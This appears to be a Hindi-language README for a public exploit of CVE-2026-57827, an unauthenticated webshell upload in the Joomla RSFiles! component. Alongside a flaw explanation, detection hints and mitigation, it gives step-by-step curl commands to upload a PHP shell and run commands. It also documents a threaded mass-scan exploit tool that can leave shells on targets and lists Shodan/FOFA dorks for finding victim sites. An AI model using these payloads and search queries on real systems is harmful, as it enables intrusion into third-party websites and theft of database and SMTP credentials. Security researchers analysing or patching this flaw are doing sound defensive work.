
CVE-2026-57827 — RSFiles! Joomla घटक में बिना प्रमाणीकरण के फ़ाइल अपलोड RCE। स्प्लिट-कंट्रोलर अपलोड बाईपास। CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827 Joomla के लिए व्यापक रूप से उपयोग किए जाने वाले फ़ाइल-प्रबंधक और डाउनलोड घटक RSFiles! (com_rsfiles) में संस्करण < 1.17.12 की एक गंभीर-स्तर (CVSS 9.8) बिना प्रमाणीकरण मनमानी फ़ाइल अपलोड भेद्यता है।
यह भेद्यता एक स्प्लिट-कंट्रोलर डिज़ाइन दोष का फ़ायदा उठाती है: RSFiles! अपने अपलोड को दो फ्रंटएंड टास्क में विभाजित करता है — एक प्री-फ्लाइट जाँच (अनुमति द्वार + एक्सटेंशन अनुमति-सूची) और एक राइट विधि (फ़ाइल को डिस्क पर सहेजती है)। राइट विधि को कॉल किया जा सकता है, जिससे प्री-फ्लाइट जाँच पूरी तरह बायपास हो जाती है। न तो प्रमाणीकरण आवश्यक है, न ही CSRF टोकन।
| संस्करण | स्थिति |
|---|---|
| < 1.17.12 | असुरक्षित |
| 1.17.12+ | पैच किया गया |
खोजकर्ता: Phil Taylor, mySites.guru (10 जुलाई, 2026) विक्रेता: RSJoomla (rsjoomla.com) घटक: com_rsfiles
RSFiles! अपने अपलोड को /components/com_rsfiles/controllers/rsfiles.php में दो अलग-अलग फ्रंटएंड टास्क में विभाजित करता है:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload के माध्यम से किसी भी टास्क को सीधे कॉल करने की अनुमति देता है, जिससे प्री-फ्लाइट जाँच पूरी तरह दरकिनार हो जाती है।JFile::upload()) को सौंप देती है, जो डिफ़ॉल्ट रूप से किसी भी फ़ाइल प्रकार को स्वीकार करता है।.htaccess जो वहाँ PHP निष्पादन रोक सकता है, एक ऑप्ट-इन एडमिन सेटिंग है जो डिफ़ॉल्ट रूप से OFF रहती है।1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| फ़ाइल | उद्देश्य |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | असुरक्षित upload() और checkupload() टास्क वाला कंट्रोलर |
/components/com_rsfiles/views/upload/tmpl/upload.php | फ्रंटएंड अपलोड फ़ॉर्म टेम्पलेट (पुष्टि: name="file", task=rsfiles.upload) |
/downloads/ | वेब रूट में डिफ़ॉल्ट डाउनलोड फ़ोल्डर (.htaccess सुरक्षा डिफ़ॉल्ट रूप से OFF) |
/briefcase/ | ब्रीफकेस फ़ोल्डर (लेखन-योग्य भी) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
सुरक्षा जाँच (अनुमति द्वार + एक्सटेंशन अनुमति-सूची) उस विधि से एक अलग प्री-फ्लाइट चरण है जो वास्तव में फ़ाइल लिखती है। केवल पहले चरण में जाँचें होती हैं। दूसरे चरण को — जो डिस्क पर लिखता है — URL में सही task पैरामीटर बनाकर सीधे कॉल किया जा सकता है, जिससे सभी सुरक्षा नियंत्रण बायपास हो जाते हैं।
यह "जाँच और क्रिया अलग-अलग स्थानों पर" एंटी-पैटर्न का एक आदर्श उदाहरण है: गार्ड और वह ऑपरेशन जिसकी उसे रक्षा करनी होती है, एक-दूसरे से अलग हो जाते हैं, और एक हमलावर गार्ड से गुज़रे बिना ऑपरेशन तक पहुँच सकता है।
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
चरण 1 — शेल अपलोड करें
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
चरण 2 — शेल एक्सेस करें
curl 'https://target.com/downloads/shell.php?c=id'
चरण 3 — कमांड निष्पादित करें
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
शमन (यदि अपडेट संभव न हो)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
सफल शोषण से वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:
configuration.php निकालें → डेटाबेस क्रेडेंशियल, SMTP रहस्यकिसी भी चरण में साइट पर खाते की आवश्यकता नहीं होती। अनाम, बिना प्रमाणीकरण, रिमोट।
RSJoomla ने संस्करण 1.17.12 में भेद्यता को इस प्रकार ठीक किया:
.htaccess सुरक्षा को डिफ़ॉल्ट रूप से सक्षम करनाकेवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
स्वामी से स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
| संसाधन | लिंक |
|---|---|
| NVD प्रविष्टि | CVE-2026-57827 |
| mySites.guru एडवाइज़री | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| RSJoomla एडवाइज़री | rsjoomla.com |
| CWE-434 | खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड |
| रिपोर्टर | Phil Taylor, mySites.guru |
RSJoomla या mySites.guru से संबद्ध नहीं।